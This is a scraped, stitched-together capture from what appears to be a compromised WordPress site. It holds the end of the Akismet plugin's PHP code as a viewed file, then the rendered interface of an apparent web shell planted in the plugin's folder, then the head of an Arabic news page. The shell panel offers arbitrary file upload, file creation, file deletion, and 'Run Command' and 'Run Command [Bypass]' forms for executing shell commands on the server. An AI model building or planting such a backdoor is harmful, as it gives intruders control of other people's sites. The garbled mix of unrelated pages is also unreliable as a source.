				'Content-Type' =&gt; 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ),
				'Host'         =&gt; $host,
				'User-Agent'   =&gt; $akismet_ua,
			),
			'httpversion' =&gt; '1.0',
			'timeout'     =&gt; 15,
		);

		$akismet_url = $http_akismet_url = &quot;http://{$http_host}/1.1/{$path}&quot;;

		/**
		 * Try SSL first; if that fails, try without it and don't try it again for a while.
		 */

		$ssl = $ssl_failed = false;

		// Check if SSL requests were disabled fewer than X hours ago.
		$ssl_disabled = get_option( 'akismet_ssl_disabled' );

		if ( $ssl_disabled &amp;&amp; $ssl_disabled &lt; ( time() - 60 * 60 * 24 ) ) { // 24 hours
			$ssl_disabled = false;
			delete_option( 'akismet_ssl_disabled' );
		} elseif ( $ssl_disabled ) {
			do_action( 'akismet_ssl_disabled' );
		}

		if ( ! $ssl_disabled &amp;&amp; ( $ssl = wp_http_supports( array( 'ssl' ) ) ) ) {
			$akismet_url = set_url_scheme( $akismet_url, 'https' );

			do_action( 'akismet_https_request_pre' );
		}

		$response = wp_remote_post( $akismet_url, $http_args );

		self::log( compact( 'akismet_url', 'http_args', 'response' ) );

		if ( $ssl &amp;&amp; is_wp_error( $response ) ) {
			do_action( 'akismet_https_request_failure', $response );

			// Intermittent connection problems may cause the first HTTPS
			// request to fail and subsequent HTTP requests to succeed randomly.
			// Retry the HTTPS request once before disabling SSL for a time.
			$response = wp_remote_post( $akismet_url, $http_args );

			self::log( compact( 'akismet_url', 'http_args', 'response' ) );

			if ( is_wp_error( $response ) ) {
				$ssl_failed = true;

				do_action( 'akismet_https_request_failure', $response );

				do_action( 'akismet_http_request_pre' );

				// Try the request again without SSL.
				$response = wp_remote_post( $http_akismet_url, $http_args );

				self::log( compact( 'http_akismet_url', 'http_args', 'response' ) );
			}
		}

		if ( is_wp_error( $response ) ) {
			do_action( 'akismet_request_failure', $response );

			return array( '', '' );
		}

		if ( $ssl_failed ) {
			// The request failed when using SSL but succeeded without it. Disable SSL for future requests.
			update_option( 'akismet_ssl_disabled', time() );

			do_action( 'akismet_https_disabled' );
		}

		$simplified_response = array( $response['headers'], $response['body'] );

		$alert_code_check_paths = array(
			'verify-key',
			'comment-check',
			'get-stats',
		);

		if ( in_array( $path, $alert_code_check_paths ) ) {
			self::update_alert( $simplified_response );
		}

		return $simplified_response;
	}

	// given a response from an API call like check_key_status(), update the alert code options if an alert is present.
	public static function update_alert( $response ) {
		$alert_option_prefix = 'akismet_alert_';
		$alert_header_prefix = 'x-akismet-alert-';
		$alert_header_names  = array(
			'code',
			'msg',
			'api-calls',
			'usage-limit',
			'upgrade-plan',
			'upgrade-url',
			'upgrade-type',
			'upgrade-via-support',
		);

		foreach ( $alert_header_names as $alert_header_name ) {
			$value = null;
			if ( isset( $response[0][ $alert_header_prefix . $alert_header_name ] ) ) {
				$value = $response[0][ $alert_header_prefix . $alert_header_name ];
			}

			$option_name = $alert_option_prefix . str_replace( '-', '_', $alert_header_name );
			if ( $value != get_option( $option_name ) ) {
				if ( ! $value ) {
					delete_option( $option_name );
				} else {
					update_option( $option_name, $value );
				}
			}
		}
	}

	/**
	 * Mark akismet-frontend.js as deferred. Because nothing depends on it, it can run at any time
	 * after it's loaded, and the browser won't have to wait for it to load to continue
	 * parsing the rest of the page.
	 */
	public static function set_form_js_async( $tag, $handle, $src ) {
		if ( 'akismet-frontend' !== $handle ) {
			return $tag;
		}

		return preg_replace( '/^&lt;script /i', '&lt;script defer ', $tag );
	}

	public static function get_akismet_form_fields() {
		$fields = '';

		$prefix = 'ak_';

		// Contact Form 7 uses _wpcf7 as a prefix to know which fields to exclude from comment_content.
		if ( 'wpcf7_form_elements' === current_filter() ) {
			$prefix = '_wpcf7_ak_';
		}

		$fields .= '&lt;p style=&quot;display: none !important;&quot; class=&quot;akismet-fields-container&quot; data-prefix=&quot;' . esc_attr( $prefix ) . '&quot;&gt;';
		$fields .= '&lt;label&gt;&amp;#916;&lt;textarea name=&quot;' . $prefix . 'hp_textarea&quot; cols=&quot;45&quot; rows=&quot;8&quot; maxlength=&quot;100&quot;&gt;&lt;/textarea&gt;&lt;/label&gt;';

		if ( ! function_exists( 'amp_is_request' ) || ! amp_is_request() ) {
			// Keep track of how many ak_js fields are in this page so that we don't re-use
			// the same ID.
			static $field_count = 0;

			++$field_count;

			$fields .= '&lt;input type=&quot;hidden&quot; id=&quot;ak_js_' . $field_count . '&quot; name=&quot;' . $prefix . 'js&quot; value=&quot;' . mt_rand( 0, 250 ) . '&quot;/&gt;';
			$fields .= '&lt;script&gt;document.getElementById( &quot;ak_js_' . $field_count . '&quot; ).setAttribute( &quot;value&quot;, ( new Date() ).getTime() );&lt;/script&gt;';
		}

		$fields .= '&lt;/p&gt;';

		return $fields;
	}

	public static function output_custom_form_fields( $post_id ) {
		if ( 'fluentform/form_element_start' === current_filter() &amp;&amp; did_action( 'fluentform_form_element_start' ) ) {
			// Already did this via the legacy filter.
			return;
		}

		// phpcs:ignore WordPress.Security.EscapeOutput
		echo self::get_akismet_form_fields();
	}

	public static function inject_custom_form_fields( $html ) {
		$html = str_replace( '&lt;/form&gt;', self::get_akismet_form_fields() . '&lt;/form&gt;', $html );

		return $html;
	}

	public static function append_custom_form_fields( $html ) {
		$html .= self::get_akismet_form_fields();

		return $html;
	}

	/**
	 * Ensure that any Akismet-added form fields are included in the comment-check call.
	 *
	 * @param array $form
	 * @param array $data Some plugins will supply the POST data via the filter, since they don't
	 *                    read it directly from $_POST.
	 * @return array $form
	 */
	public static function prepare_custom_form_values( $form, $data = null ) {
		if ( 'fluentform/akismet_fields' === current_filter() &amp;&amp; did_filter( 'fluentform_akismet_fields' ) ) {
			// Already updated the form fields via the legacy filter.
			return $form;
		}

		if ( is_null( $data ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing
			$data = $_POST;
		}

		$prefix = 'ak_';

		// Contact Form 7 uses _wpcf7 as a prefix to know which fields to exclude from comment_content.
		if ( 'wpcf7_akismet_parameters' === current_filter() ) {
			$prefix = '_wpcf7_ak_';
		}

		foreach ( $data as $key =&gt; $val ) {
			if ( 0 === strpos( $key, $prefix ) ) {
				$form[ 'POST_ak_' . substr( $key, strlen( $prefix ) ) ] = $val;
			}
		}

		return $form;
	}

	private static function bail_on_activation( $message, $deactivate = true ) {
		?&gt;
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset=&quot;&lt;?php bloginfo( 'charset' ); ?&gt;&quot; /&gt;
&lt;style&gt;
* {
	text-align: center;
	margin: 0;
	padding: 0;
	font-family: &quot;Lucida Grande&quot;,Verdana,Arial,&quot;Bitstream Vera Sans&quot;,sans-serif;
}
p {
	margin-top: 1em;
	font-size: 18px;
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;p&gt;&lt;?php echo esc_html( $message ); ?&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
		&lt;?php
		if ( $deactivate ) {
			$plugins = get_option( 'active_plugins' );
			$akismet = plugin_basename( AKISMET__PLUGIN_DIR . 'akismet.php' );
			$update  = false;
			foreach ( $plugins as $i =&gt; $plugin ) {
				if ( $plugin === $akismet ) {
					$plugins[ $i ] = false;
					$update        = true;
				}
			}

			if ( $update ) {
				update_option( 'active_plugins', array_filter( $plugins ) );
			}
		}
		exit;
	}

	public static function view( $name, array $args = array() ) {
		$args = apply_filters( 'akismet_view_arguments', $args, $name );

		foreach ( $args as $key =&gt; $val ) {
			$$key = $val;
		}

		$file = AKISMET__PLUGIN_DIR . 'views/' . basename( $name ) . '.php';

		if ( file_exists( $file ) ) {
			include $file;
		}
	}

	/**
	 * Attached to activate_{ plugin_basename( __FILES__ ) } by register_activation_hook()
	 *
	 * @static
	 */
	public static function plugin_activation() {
		if ( version_compare( $GLOBALS['wp_version'], AKISMET__MINIMUM_WP_VERSION, '&lt;' ) ) {
			$message = '&lt;strong&gt;' .
				/* translators: 1: Current Akismet version number, 2: Minimum WordPress version number required. */
				sprintf( esc_html__( 'Akismet %1$s requires WordPress %2$s or higher.', 'akismet' ), AKISMET_VERSION, AKISMET__MINIMUM_WP_VERSION ) . '&lt;/strong&gt; ' .
				/* translators: 1: WordPress documentation URL, 2: Akismet download URL. */
				sprintf( __( 'Please &lt;a href=&quot;%1$s&quot;&gt;upgrade WordPress&lt;/a&gt; to a current version, or &lt;a href=&quot;%2$s&quot;&gt;downgrade to version 2.4 of the Akismet plugin&lt;/a&gt;.', 'akismet' ), 'https://codex.wordpress.org/Upgrading_WordPress', 'https://wordpress.org/plugins/akismet' );

			self::bail_on_activation( $message );
		} elseif ( ! empty( $_SERVER['SCRIPT_NAME'] ) &amp;&amp; false !== strpos( $_SERVER['SCRIPT_NAME'], '/wp-admin/plugins.php' ) ) {
			add_option( 'Activated_Akismet', true );
		}
	}

	/**
	 * Removes all connection options
	 *
	 * @static
	 */
	public static function plugin_deactivation() {
		self::deactivate_key( self::get_api_key() );

		// Remove any scheduled cron jobs.
		$akismet_cron_events = array(
			'akismet_schedule_cron_recheck',
			'akismet_scheduled_delete',
		);

		foreach ( $akismet_cron_events as $akismet_cron_event ) {
			$timestamp = wp_next_scheduled( $akismet_cron_event );

			if ( $timestamp ) {
				wp_unschedule_event( $timestamp, $akismet_cron_event );
			}
		}
	}

	/**
	 * Essentially a copy of WP's build_query but one that doesn't expect pre-urlencoded values.
	 *
	 * @param array $args An array of key =&gt; value pairs
	 * @return string A string ready for use as a URL query string.
	 */
	public static function build_query( $args ) {
		return _http_build_query( $args, '', '&amp;' );
	}

	/**
	 * Log debugging info to the error log.
	 *
	 * Enabled when WP_DEBUG_LOG is enabled (and WP_DEBUG, since according to
	 * core, &quot;WP_DEBUG_DISPLAY and WP_DEBUG_LOG perform no function unless
	 * WP_DEBUG is true), but can be disabled via the akismet_debug_log filter.
	 *
	 * @param mixed $akismet_debug The data to log.
	 */
	public static function log( $akismet_debug ) {
		if ( apply_filters( 'akismet_debug_log', defined( 'WP_DEBUG' ) &amp;&amp; WP_DEBUG &amp;&amp; defined( 'WP_DEBUG_LOG' ) &amp;&amp; WP_DEBUG_LOG &amp;&amp; defined( 'AKISMET_DEBUG' ) &amp;&amp; AKISMET_DEBUG ) ) {
			error_log( print_r( compact( 'akismet_debug' ), true ) );
		}
	}

	/**
	 * Check pingbacks for spam before they're saved to the DB.
	 *
	 * @param string           $method The XML-RPC method that was called.
	 * @param array            $args This and the $server arg are marked as optional since plugins might still be
	 *                               calling do_action( 'xmlrpc_action', [...] ) without the arguments that were added in WP 5.7.
	 * @param wp_xmlrpc_server $server
	 */
	public static function pre_check_pingback( $method, $args = array(), $server = null ) {
		if ( $method !== 'pingback.ping' ) {
			return;
		}

		/*
		 * $args looks like this:
		 *
		 * Array
		 * (
		 *     [0] =&gt; http://www.example.net/?p=1 // Site that created the pingback.
		 *     [1] =&gt; https://www.example.com/?p=2 // Post being pingback'd on this site.
		 * )
		 */

		if ( ! is_null( $server ) &amp;&amp; ! empty( $args[1] ) ) {
			$is_multicall    = false;
			$multicall_count = 0;

			if ( 'system.multicall' === $server-&gt;message-&gt;methodName ) {
				$is_multicall    = true;
				$multicall_count = is_countable( $server-&gt;message-&gt;params ) ? count( $server-&gt;message-&gt;params ) : 0;
			}

			$post_id = url_to_postid( $args[1] );

			// If pingbacks aren't open on this post, we'll still check whether this request is part of a potential DDOS,
			// but indicate to the server that pingbacks are indeed closed so we don't include this request in the user's stats,
			// since the user has already done their part by disabling pingbacks.
			$pingbacks_closed = false;

			$post = get_post( $post_id );

			if ( ! $post || ! pings_open( $post ) ) {
				$pingbacks_closed = true;
			}

			$comment = array(
				'comment_author_url'      =&gt; $args[0],
				'comment_post_ID'         =&gt; $post_id,
				'comment_author'          =&gt; '',
				'comment_author_email'    =&gt; '',
				'comment_content'         =&gt; '',
				'comment_type'            =&gt; 'pingback',
				'akismet_pre_check'       =&gt; '1',
				'comment_pingback_target' =&gt; $args[1],
				'pingbacks_closed'        =&gt; $pingbacks_closed ? '1' : '0',
				'is_multicall'            =&gt; $is_multicall,
				'multicall_count'         =&gt; $multicall_count,
			);

			$comment = self::auto_check_comment( $comment, 'xml-rpc' );

			if ( isset( $comment['akismet_result'] ) &amp;&amp; 'true' == $comment['akismet_result'] ) {
				// Sad: tightly coupled with the IXR classes. Unfortunately the action provides no context and no way to return anything.
				$server-&gt;error( new IXR_Error( 0, 'Invalid discovery target' ) );

				// Also note that if this was part of a multicall, a spam result will prevent the subsequent calls from being executed.
				// This is probably fine, but it raises the bar for what should be acceptable as a false positive.
			}
		}
	}

	/**
	 * Ensure that we are loading expected scalar values from akismet_as_submitted commentmeta.
	 *
	 * @param mixed $meta_value
	 * @return mixed
	 */
	private static function sanitize_comment_as_submitted( $meta_value ) {
		if ( empty( $meta_value ) ) {
			return $meta_value;
		}

		$meta_value = (array) $meta_value;

		foreach ( $meta_value as $key =&gt; $value ) {
			if ( ! is_scalar( $value ) ) {
				unset( $meta_value[ $key ] );
			} else {
				// These can change, so they're not explicitly listed in comment_as_submitted_allowed_keys.
				if ( strpos( $key, 'POST_ak_' ) === 0 ) {
					continue;
				}

				if ( ! isset( self::$comment_as_submitted_allowed_keys[ $key ] ) ) {
					unset( $meta_value[ $key ] );
				}
			}
		}

		return $meta_value;
	}

	public static function predefined_api_key() {
		if ( defined( 'WPCOM_API_KEY' ) ) {
			return true;
		}

		return apply_filters( 'akismet_predefined_api_key', false );
	}

	/**
	 * Controls the display of a privacy related notice underneath the comment
	 * form using the `akismet_comment_form_privacy_notice` option and filter
	 * respectively.
	 *
	 * Default is to not display the notice, leaving the choice to site admins,
	 * or integrators.
	 */
	public static function display_comment_form_privacy_notice() {
		if ( 'display' !== apply_filters( 'akismet_comment_form_privacy_notice', get_option( 'akismet_comment_form_privacy_notice', 'hide' ) ) ) {
			return;
		}

		echo apply_filters(
			'akismet_comment_form_privacy_notice_markup',
			'&lt;p class=&quot;akismet_comment_form_privacy_notice&quot;&gt;' .
				wp_kses(
					sprintf(
						/* translators: %s: Akismet privacy URL */
						__( 'This site uses Akismet to reduce spam. &lt;a href=&quot;%s&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;Learn how your comment data is processed.&lt;/a&gt;', 'akismet' ),
						'https://akismet.com/privacy/'
					),
					array(
						'a' =&gt; array(
							'href' =&gt; array(),
							'target' =&gt; array(),
							'rel' =&gt; array(),
						),
					)
				) .
			'&lt;/p&gt;'
		);
	}

	public static function load_form_js() {
		if (
			! is_admin()
			&amp;&amp; ( ! function_exists( 'amp_is_request' ) || ! amp_is_request() )
			&amp;&amp; self::get_api_key()
			) {
			wp_register_script( 'akismet-frontend', plugin_dir_url( __FILE__ ) . '_inc/akismet-frontend.js', array(), filemtime( plugin_dir_path( __FILE__ ) . '_inc/akismet-frontend.js' ), true );
			wp_enqueue_script( 'akismet-frontend' );
		}
	}

	/**
	 * Add the form JavaScript when we detect that a supported form shortcode is being parsed.
	 */
	public static function load_form_js_via_filter( $return_value, $tag, $attr, $m ) {
		if ( in_array( $tag, array( 'contact-form', 'gravityform', 'contact-form-7', 'formidable', 'fluentform' ) ) ) {
			self::load_form_js();
		}

		return $return_value;
	}

	/**
	 * Was the last entry in the comment history created by Akismet?
	 *
	 * @param int $comment_id The ID of the comment.
	 * @return bool
	 */
	public static function last_comment_status_change_came_from_akismet( $comment_id ) {
		$history = self::get_comment_history( $comment_id );

		if ( empty( $history ) ) {
			return false;
		}

		$most_recent_history_event = $history[0];

		if ( ! isset( $most_recent_history_event['event'] ) ) {
			return false;
		}

		$akismet_history_events = array(
			'check-error',
			'cron-retry-ham',
			'cron-retry-spam',
			'check-ham',
			'check-ham-pending',
			'check-spam',
			'recheck-error',
			'recheck-ham',
			'recheck-spam',
			'webhook-ham',
			'webhook-spam',
		);

		if ( in_array( $most_recent_history_event['event'], $akismet_history_events ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Check the comment history to find out what the most recent comment-check
	 * response said about this comment.
	 *
	 * This value is then included in submit-ham and submit-spam requests to allow
	 * us to know whether the comment is actually a missed spam/ham or if it's
	 * just being reclassified after either never being checked or being mistakenly
	 * marked as ham/spam.
	 *
	 * @param int $comment_id The comment ID.
	 * @return string 'true', 'false', or an empty string if we don't have a record
	 *                of comment-check being called.
	 */
	public static function last_comment_check_response( $comment_id ) {
		$history = self::get_comment_history( $comment_id );

		if ( $history ) {
			$history = array_reverse( $history );

			foreach ( $history as $akismet_history_entry ) {
				// We've always been consistent in how history entries are formatted
				// but comment_meta is writable by everyone, so don't assume that all
				// entries contain the expected parts.

				if ( ! is_array( $akismet_history_entry ) ) {
					continue;
				}

				if ( ! isset( $akismet_history_entry['event'] ) ) {
					continue;
				}

				if ( in_array(
					$akismet_history_entry['event'],
					array(
						'recheck-spam',
						'check-spam',
						'cron-retry-spam',
						'webhook-spam',
						'webhook-spam-noaction',
					),
					true
				) ) {
					return 'true';
				} elseif ( in_array(
					$akismet_history_entry['event'],
					array(
						'recheck-ham',
						'check-ham',
						'cron-retry-ham',
						'webhook-ham',
						'webhook-ham-noaction',
					),
					true
				) ) {
					return 'false';
				}
			}
		}

		return '';
	}
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-content/plugins/akismet" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins">plugins</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet">akismet</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2F_inc"> _inc</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fviews"> views</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2F.htaccess"> .htaccess</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/.htaccess">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fakismet.php"> akismet.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/akismet.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fchangelog.txt"> changelog.txt</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/changelog.txt">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass-akismet-compatible-plugins.php"> class-akismet-compatible-plugins.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/class-akismet-compatible-plugins.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass.akismet-admin.php"> class.akismet-admin.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/class.akismet-admin.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass.akismet-cli.php"> class.akismet-cli.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/class.akismet-cli.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass.akismet-rest-api.php"> class.akismet-rest-api.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/class.akismet-rest-api.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass.akismet-widget.php"> class.akismet-widget.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/class.akismet-widget.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass.akismet.php"> class.akismet.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/class.akismet.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Findex.php"> index.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/index.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2FLICENSE.txt"> LICENSE.txt</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/LICENSE.txt">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Freadme.txt"> readme.txt</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/readme.txt">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fwrapper.php"> wrapper.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/akismet/wrapper.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
</script>
</body>
</html><!DOCTYPE html>
<html dir="rtl" lang="ar" class="" data-skin="light" prefix="og: http://ogp.me/ns#">
<head>
	<meta charset="UTF-8" />
	<link rel="profile" href="https://gmpg.org/xfn/11" />
	<title>مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟ &#8211; tahkoom.com</title>
<meta name='robots' content='max-image-preview:large' />
	<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
	<link rel='dns-prefetch' href='//www.fontstatic.com' />
<link rel="alternate" type="application/rss+xml" title="tahkoom.com &laquo; الخلاصة" href="https://tahkoom.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="tahkoom.com &laquo; خلاصة التعليقات" href="https://tahkoom.com/comments/feed/" />
		<script type="text/javascript">
			try {
				if( 'undefined' != typeof localStorage ){
					var tieSkin = localStorage.getItem('tie-skin');
				}

				
				var html = document.getElementsByTagName('html')[0].classList,
						htmlSkin = 'light';

				if( html.contains('dark-skin') ){
					htmlSkin = 'dark';
				}

				if( tieSkin != null && tieSkin != htmlSkin ){
					html.add('tie-skin-inverted');
					var tieSkinInverted = true;
				}

				if( tieSkin == 'dark' ){
					html.add('dark-skin');
				}
				else if( tieSkin == 'light' ){
					html.remove( 'dark-skin' );
				}
				
			} catch(e) { console.log( e ) }

		</script>
